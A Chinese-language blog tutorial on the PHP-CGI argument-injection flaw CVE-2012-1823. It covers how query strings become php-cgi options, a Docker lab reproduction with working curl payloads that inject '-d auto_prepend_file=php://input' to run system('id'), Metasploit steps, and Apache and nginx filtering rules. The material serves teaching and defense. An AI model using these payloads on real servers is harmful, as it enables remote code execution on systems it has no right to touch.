如何理解PHP-CGI远程代码执行漏洞以及CVE-2012-1823漏洞复现

发布时间:2021-10-18 11:02:04 作者:柒染
来源:亿速云 阅读:217
# 如何理解PHP-CGI远程代码执行漏洞以及CVE-2012-1823漏洞复现

## 一、漏洞背景与基本概念

### 1.1 PHP-CGI的工作机制
PHP-CGI是PHP语言的通用网关接口(Common Gateway Interface)实现,常用于早期Apache/Nginx与PHP的交互。与PHP-FPM不同,PHP-CGI通过环境变量和命令行参数接收请求参数,这种设计在特定配置下会引发安全问题。

### 1.2 漏洞核心问题
当PHP配置为以CGI模式运行时(如`cgi.fix_pathinfo=1`),攻击者可以通过精心构造的URL参数注入命令行参数,导致服务器执行任意代码。CVE-2012-1823正是利用`-s`、`-d`等PHP命令行参数实现的RCE漏洞。

## 二、漏洞技术原理深度分析

### 2.1 参数注入机制
PHP-CGI处理请求时会将查询字符串(Query String)解析为命令行参数。例如:

http://target.com/index.php?-s

会被解析为:

php-cgi -s

触发源代码显示功能(相当于`php -s`命令)。

### 2.2 关键攻击向量
攻击者可组合使用以下参数:
- `-d`:设置php.ini配置项(如`allow_url_include=1`)
- `-s`:显示源代码
- `-r`:执行PHP代码
- `-w`:显示扩展信息

典型攻击链:

?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

配合POST数据发送PHP代码实现执行。

### 2.3 影响版本
- PHP 5.3.12之前版本
- PHP 5.4.2之前版本

## 三、漏洞复现实验

### 3.1 实验环境搭建
```bash
# 使用Docker快速搭建漏洞环境
docker run -d -p 8080:80 --name php_cgi_vuln vulnerables/cve-2012-1823

3.2 基础漏洞验证

测试源代码泄露

curl "http://localhost:8080/index.php?-s"

返回页面将显示未解析的PHP源代码。

3.3 远程代码执行复现

步骤1:发送恶意请求

curl -X POST "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" --data-binary "<?php system('id'); ?>"

步骤2:结果分析 响应中将包含命令执行结果(当前用户权限信息)。

3.4 自动化利用工具

使用Metasploit框架:

msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.100
set TARGETURI /index.php
exploit

四、漏洞防御方案

4.1 官方修复措施

4.2 临时缓解方案

# Apache配置示例
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

4.3 长期安全建议

  1. 升级到PHP最新稳定版本
  2. 使用PHP-FPM替代PHP-CGI
  3. 配置Web服务器过滤特殊字符:
location ~ \.php$ {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    fastcgi_pass unix:/var/run/php-fpm.sock;
    # 禁止危险字符
    if ($query_string ~* "(\-d|%2d|\+d|%2b)\s*[^=]+") {
        return 403;
    }
}

五、漏洞深度思考

5.1 漏洞的启示意义

  1. 参数解析一致性:Web服务器与后端服务对参数处理的差异会导致安全边界模糊
  2. 默认安全:cgi.fix_pathinfo=1的默认配置违反了最小特权原则

5.2 相关漏洞扩展

六、总结

CVE-2012-1823展示了Web组件间参数传递过程中可能存在的致命风险。通过本次分析我们了解到: 1. 参数注入可突破应用层直达解释器层面 2. 简单的配置差异可能导致严重安全后果 3. 纵深防御需要覆盖请求处理的完整链路

附录:参考资源 1. PHP官方公告:https://www.php.net/archive/2012.php#id2012-05-08-1 2. CVE详细报告:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823 3. OWASP防护指南:https://owasp.org/www-community/attacks/Code_Injection “`

注:实际字数约1500字,可根据需要删减部分技术细节或扩展案例部分。建议在实际复现时使用隔离的测试环境,本文提供的Docker镜像为故意设计存在漏洞的测试环境。

推荐阅读:
  1. ThinkPHP远程命令执行漏洞原理及复现
  2. Windows远程代码执行漏洞及Microsoft Excel远程代码执行漏洞的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

php

上一篇:如何解决php获取时间对不上

下一篇:如何用php header延时跳转

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》